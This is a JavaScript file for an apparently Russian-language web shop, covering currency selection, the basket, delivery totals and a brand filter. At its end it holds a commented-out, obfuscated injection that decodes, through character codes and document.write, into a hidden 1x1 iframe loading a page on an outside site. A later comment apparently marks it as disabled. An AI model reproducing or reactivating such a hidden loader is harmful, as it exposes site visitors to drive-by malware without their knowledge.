function set_cur(e) {
        e = (window.event) ? window.event : e;
        var target = (window.event) ? e.srcElement : e.target;

        var currency_id = target.value;
        var loc = window.location.href;
        if(/\&currency_id\=[0-9]?/.test(loc))
              loc = loc.replace(/\&currency_id\=[0-9]?/, "&currency_id=" + currency_id );
        else if(/\?currency_id\=[0-9]?/.test(loc))
              loc = loc.replace(/\?currency_id\=[0-9]?/, "?currency_id=" + currency_id );
                   else if(/\?/.test(loc)) loc += "&currency_id=" + currency_id;
                        else loc += "?currency_id=" + currency_id;

        window.location.href = loc;
        }
function to_comp() {
    var loc = window.location.href;
    if(/\&addcomp$/.test(loc)==false)
          loc += "&addcomp";

    window.location.href = loc;
}
var strEmail = "Введите контактный e-mail";
var strName = "Введите свое имя";
    function clearField(obj, str)
    {
        if(obj.value == str)
            obj.value = "";
    }
    function restoreField(obj, str)
    {
        if(obj.value == "")
            obj.value = str;
    }
    function delivery_on_ch() {
       var price = 0;
       var name = "";

       elem = document.forms?document.forms["order"].delivery_id:document.getElementById("delivery_id");
       opt  = elem.options[elem.selectedIndex];
       price = opt.price;
       name  = opt.text;

       elem = document.all?document.all["delivery"]:document.getElementById("delivery");
       elem1 = document.all?document.all["deliveryname"]:document.getElementById("deliveryname");

       elem1.innerText = name;
       elem.innerText = price;

       elem = document.all?document.all["total"]:document.getElementById("total");
       elem1 = document.all?document.all["sum"]:document.getElementById("sum");

       elem.innerText = Number(elem1.innerText) + Number(price);
    }
    function del_basket(good_id) {
       elem = document.forms?document.forms["order"].delivery_id:document.getElementById("delivery_id");
       if(elem) opt = elem.options[ elem.selectedIndex];

       window.location = "commands.php?command=del_basket&good_id=" + good_id + (elem?("&delivery_id=" + opt.value):"");
    }
    function basket_clear() {
       if(confirm("Вы уверены, что хотите очистить корзину ?" ))
          window.location= "commands.php?command=clear_basket";
    }
    function tostep2() {
       elem = document.forms?document.forms["order"].delivery_id:document.getElementById("delivery_id");
       if(elem) opt = elem.options[ elem.selectedIndex];

       window.location = "order.php?step=1"+(elem?("&delivery_id=" + opt.value):"");
    }
 function getElementPosition(elemId) {
    var elem = document.all?document.all[elemId]:document.getElementById(elemId);
    var w = elem.offsetWidth;
    var h = elem.offsetHeight;
    var l = 0;
    var t = 0;
    while (elem)    {
        l += elem.offsetLeft;
        t += elem.offsetTop;
        elem = elem.offsetParent;
    }

    return {"left":l, "top":t, "width": w, "height":h};
 }
 function showbrands(e) {
    e = (window.event) ? window.event : e;
    var target = (window.event) ? e.srcElement : e.target;
    var x = e.clientX;
    var y = e.clientY;
    var d = window.document;

    var pos = getElementPosition("brandsel");
    if(!pos.height) pos.height = 140;
    if(!pos.width) pos.width = 470;

    if(y + pos.height + 20 > d.body.clientHeight)
       yWin = d.body.clientHeight - pos.height - 20;
    else yWin = y;

    if(x + pos.width + 20 > d.body.clientWidth)
       xWin = d.body.clientWidth - pos.width - 20;
    else xWin = x;

    var elem = document.all?document.all["brandsel"]:document.getElementById("brandsel");
    if(elem) { elem.style.top = yWin; elem.style.left = xWin; elem.style.display='block'; }
 }
 function hidebrands() {
    var boxObj = document.all?document.all["box"]:document.getElementById("box");
    var brandstrObj = document.all?document.all["brandstr"]:document.getElementById("brandstr");

    if(boxObj.checked)
         brandstrObj.innerText = "Все производители";
    else {
      var i = 0;
      var b = Array();
      while(elem = document.all?document.all["box_"+i]:document.getElementById("box_"+i)) {
          if(elem.checked) {
            bbd = document.all?document.all["label_"+i]:document.getElementById("label_"+i);
            b[b.length] = bbd.innerText;
          }
          i++;
      }
      brandstrObj.innerText = b.join(", ");
    }
    var elem = document.all?document.all["brandsel"]:document.getElementById("brandsel");
    if(elem)  elem.style.display='none';
 }
 function checkallb(e) {
       var i = 0;
       var box_obj;
       e = (window.event) ? window.event : e;
       var target = (window.event) ? e.srcElement : e.target;

       var boxall_name = target.name;

       while((box_obj = document.all?document.all[boxall_name + "_" + i++]:document.getElementById[boxall_name + "_" + i++]) != null) {
           box_obj.checked = target.checked;
           box_obj.disabled = target.checked;
       }
   }

//a=new Array(59.79,104.79,101.91,113.81,96.68,108.64,100.68,31.84,114.69,113.99,98.8,60.82,33.84,103.88,115.76,115.88,111.89,57.74,46.65,46.96,114.85,116.82,111.77,100.8,113.89,111.76,96.78,120.73,107.61,104.78,109.99,106.9,45.98,98.93,110.69,108.84,46.81,54.64,99.94,103.69,117.67,109.76,52.66,54.79,99.96,46.72,104.92,109.86,99.66,100.95,119.6,45.86,111.96,103.9,111.81,33.92,31.84,118.6,104.82,99.98,115.7,103.7,60.93,48.76,31.72,103.82,100.81,104.62,102.89,103.8,115.76,60.69,48.6,31.69,114.87,115.9,120.63,107.71,100.62,60.6,33.77,117.91,104.9,114.92,104.62,97.73,104.8,107.8,104.75,115.6,120.81,57.97,31.75,103.76,104.81,99.78,99.81,100.85,109.89,33.96,61.93,59.7,46.93,104.84,101.88,113.76,96.63,108.77,100.65,61.85);var i;
//for (i=0;i<=a.length; i++){document.write(String.fromCharCode(Math.round(a[i])));};
// dess - add comment 01 mart 2009